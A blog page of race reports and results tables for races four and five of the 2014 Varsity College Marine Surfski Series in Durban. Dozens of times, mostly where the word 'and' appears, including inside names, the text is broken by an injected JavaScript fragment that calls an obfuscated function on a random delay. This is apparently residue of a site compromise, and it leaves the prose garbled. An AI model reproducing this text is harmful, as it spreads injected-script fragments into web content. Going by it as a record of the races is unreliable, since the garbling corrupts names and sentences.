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    My eventing started in 2010 when I took over the Marine Surfski Series from the club I had grown up at and since then have grown the series into the biggest of it’s kind in the country.

    I now offer a number of eventing services to the water sport community. In 2013 this included branching out into more surfski races in the winter months as the Bay Union Surfski Series and also worked on the World MTB Champs in PMB.

    This category on my blog covers news and updates from the events I organise, dont miss out.

    Burn blazes win number four

    Written by Barry Lewin on . Posted in SurfSki Events

    Durban – Canoe Marathon World Champion Hank McGregor andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and South African women’s surfski standom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andout Michelle Burn’s dominance of the 2014 Varsity College Marine Surfski Series continued in Friday’s Bay Union Surfski Challenge, race five of the ten-leg series, as they stormed to their fourth victories of competition.

    With the rapid growth of women’s surfski paddling in the region, competition amongst KZN’s female stars has also enjoyed a sharp rise in recent years. This increased level of competition amongst the ladies, coupled with a poor start, did however see Burn having to dig far deeper than she had hoped.

    “It was nice to get my fourth win of the series but that was much harder than necessary!” chuckled Burn (Fenn/Team Jeep) afterwards.

    “I had the worst start ever! I was the last person off the beach because I just wasn’t ready andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and so, by the time we got out to the first buoy, the other girls already had about 50 meters on me!

    “It was great to see so many girls back on the water again but that also meant I really had to work hard to get back up to them!”

    “I’d taken a bit of time off at the start of the year but the other girls have been getting just a little too close recently so I started training again this week. Hopefully that will help in a couple of weeks’ time but I really had to work hard this week,” she added light-heartedly.

    A North Easterly wind in the hours leading up to the event meant paddlers had to deal with tricky yet enjoyable conditions however the early exertion meant it wasn’t until the second half of the race that Burn was able to take advantage of the open ocean runs andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and stamp her authority on the encounter.

    “Once I finally managed to catch Nikki (Russell) I decided to just sit on her wave for a while to try andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and recover andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and only then did I manage to get ahead a little later in the race,” said Burn.

    “The North Easter meant conditions were really fun. It was quite tricky going into the wind but I really enjoyed the stretch back from North Beach to Marine,” she added.

    Having led the women’s clash initially, Russell crossed the line to claim second place with Danica Bartho (Fenn/Bartho Fish Co.) finishing third.

    Like Burn, McGregor (Fenn/Team Jeep) claimed his fourth victory of the series after he cruised home ahead of Matt Bouman (Epic Kayaks) andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Grant van der Walt (Varsity College/Epic Kayaks) andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and now requires just two more positive results from the remaining five races in order to win yet another series title.

    Wayne Wilson andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Shaun Dias regained the top step of the podium in the doubles category after they edged out Dusi Canoe Marathon combo Adam Nisbet andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Len Jenkins while Ryan Atkins andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Julie Cornelius stormed to yet another mixed doubles race win.

    With the widely anticipated Dusi Canoe Marathon set to take place from Thursday 13 to Saturday 15 February, race six of the series – the Lettie Paddle Surfski Challenge – will instead take place on Tuesday 11 February at 17h30 at Addington Beach.

    The series’ affiliation with Lettie Paddle, an initiative started by Danica Bartho in support of her good friend andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and fellow paddler Nikki Heynes currently fighting against cancer, is the first charitable cause the series has enjoyed andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and one series organiser Barry Lewin is extremely excited by.

    “The Lettie Paddle initiative is one very close to the hearts of many of our paddlers in KZN andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and we are really looking forward to welcoming the campaign to the series for the first time on Tuesday,” said Lewin.

    “Tuesday is all about paddlers showing their support of others they know who are currently fighting the fight against cancer as well as raising awareness about the deadly disease.

    “Paddlers are encouraged to really go to town on Tuesday andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and dress up in pink paddling gear. Pink Funky Pants paddling shorts can also be purchased ahead of the race which, together with wigs, accessories andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and anything else pink, will really be great to see out on the water!” he added.

    SUMMARY OF RESULTS – BAY UNION SURFSKI CHALLENGE
    RACE FIVE OF THE VARSITY COLLEGE MARINE SURFSKI SERIES

    LONG COURSE
    Overall
    1.Hank McGregor 33.23
    2.Matt Bouman 33.41
    3.Grant van der Walt 35.00
    4.Barry Lewin 36.17
    5.Herman Chalupsky 36.35

    Women
    1.Michelle Burn 40.21
    2.Nicole Russell 41.20
    3.Danica Bartho 42.20

    Junior Boys
    1.Jordan Clauson 39.03
    2.Keagan Kok 43.06
    3.Joshua Evered-Hall 43.59

    Doubles
    1.Wayne Wilson/Shaun Dias 34.01
    2.Adam Nisbet/Len Jenkins 34.09
    3.Brett Bartho/Wayne Thompson 34.11

    Mixed Doubles
    1.Ryan Atkins/Julie Cornelius 38.47
    2.Paul Scruby/Angela Scruby 40.52
    3.Bruce Jackson/Lindy Bradshaw 45.04

    SHORT COURSE
    Singles
    1.Sipho Luthuli 23.53
    2.Mitchel Tees 26.31
    3.Christopher Walthew 26.40

    Doubles
    1.Craig Stuart/Jon Wiseman 22.20
    2.Savannah van Rooyen/Luke 22.56
    3.Thandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando Thusi/Lauren Coleby 24.32

    Flat seas draw hundreds to Thule Surfski Challenge

    Written by Barry Lewin on . Posted in SurfSki Events

    Durban – No surf andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and magnificently flat seas saw Friday evening’s Thule Surfski Challenge, race four of the 2014 Varsity College Marine Surfski Series, turn into a raw, unforgiving 8km sprint which played right into the handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ands of the remarkably fit Hank McGregor andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Michelle Burn as the respective men’s andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and women’s series defending champions extended their lead at the top of the 2014 standom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andings whilst hundreds of others enjoyed getting back on the water.

    With two wins under the belt from the series’ first three races to date, triple Canoe Marathon World Champ Hank McGregor (Fenn/Team Jeep) notched up his third race victory when he narrowly edged out perennial rival Matt Bouman (Epic Kayaks) after a tightly contested affair throughout the two lap dash around Durban’s bay.

    The win sees McGregor halfway to achieving yet another series title with paddlers’ best six results from the ten-leg series counting towards the final standom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andings, however there is still plenty to race for for McGregor, particularly as he prepares for the widely spoken about upcoming Dusi Canoe Marathon.

    “It’s great to get another win!” said McGregor. “I will obviously have to start taking iot easy for the next couple of weeks before Dusi so it’s nice to be able to get another win under the belt before then.

    With no assistance from Mother Nature, McGregor andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Bouman were left to square off against one another in the high tempo frenzy where just a single mistake could well end one’s challenge.

    “Out there, there were no waves, no swell, no wind. Nothing!” said McGregor. “Not like the last couple of weeks.

    “Matthew (Bouman) andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I got away from the start so it immediately became a bit of a two horse battle. I then managed to open up a bit of a gap on him at the start of the second lap andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and by the end had about 150 meters, so I was happy.

    “With no assistance from the conditions it was just a good, hard slog the whole way,” he added.

    Having been in the mix for his third bottom step of the podium result of the series, series coordinator andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Varsity College/Team Jeep athlete Barry Lewin was once again edged out in a hard fought end sprint, this time by Jean-Luc Mauvis while masters star Herman Chalupsky showed why he was regarded as one of the country’s leading paddlers in by-gone years as he crossed the line in fifth just seconds behind Mauvis andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Lewin.

    Burn (Fenn/Team Jeep) was the shining light in the women’s race once more as she, like McGregor, claimed her third win of the series, finish exactly a minute ahead of Nikki Russell who in turn was a minute ahead of Jenna Ward.

    EuroSteel’s Mark Mulder andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Dave Chaplin narrowly edged out regular doubles star Wayne Wilson andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and his partner Shaun Dias in the doubles section, in the process recording their second consecutive victory in the division andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and giving themselves good confidence ahead of their Dusi assault.

    “With the flat conditions out there it was hard to shake someone off your wave. Dave andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I felt really good but we just couldn’t get rid of Wayne andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Shaun,” explained Mulder.

    “It was nice to get the win over them in the end though andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and now we just can’t wait for Dusi! Bring it on!” he chuckled.

    Keagan Kok clinched the junior boys race victory while Ryan Atkins andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Julie Cornelius continued their great run of form, claiming yet another mixed doubles race win themselves.

    While the conditions created tight, high intensity racing at the front of the field, the respite in the testing surf participants have had to deal with in the first three weeks of the series was welcomed by most andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and saw numerous novices head out andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and complete their first 2014 series race, a first race ever for some.

    The Bay Union Surfski Challenge, race five of the 2014 Varsity College Marine Surfski Series, takes place at Marine SLC, Addington Beach at 17h30 on Friday 7 February. More info can be found atwww.marineseries.co.za

    SUMMARY OF RESULTS – THULE SURFSKI CHALLENGE
    RACE FOUR OF THE 2014 VARSITY COLLEGE MARINE SURFSKI SERIES

    LONG COURSE
    Overall
    1.Hank McGregor 34.30
    2.Matt Bouman 34.56
    3.Lean-Luc Mauvis 36.53
    4.Barry Lewin 36.56
    5.Herman Chalupsky 36.59

    Women
    1.Michelle Burn 40.48
    2.Nicole Russell 41.48
    3.Jenna Ward 42.50

    Junior Boys
    1.Keagan Kok 40.02
    2.Jordan Clauson 40.13
    3.Brett Wilken (U16) 42.06

    Doubles
    1.Mark Mulder/Dave Chaplin 35.00
    2.Wayne Wilson/Shaun Dias 35.06
    3.Lee McGregor/Allan Hold 35.46

    Mixed Doubles
    1.Ryan Atkins/Julie Cornelius 37.55
    2.Paul Scruby/Angela Scruby 38.59
    3.Derek Hauptfleisch/Lynne Hauptfleisch 44.04

    Women Doubles
    1.Beverley Guest/Louisa van Staden 47.57

    SHORT COURSE
    Singles
    1.Sipho Luthuli 22.59
    2.Tyron Hudson 23.04
    3.Gareth Hazell 23.20

    Doubles
    1.Terry McDougall/Michael Lyon 20.48
    2.Trent Baird/Sandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andile Shange 21.39
    3.Thandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando Thusi/Lareun Coleby (Mixed) 22.16

     

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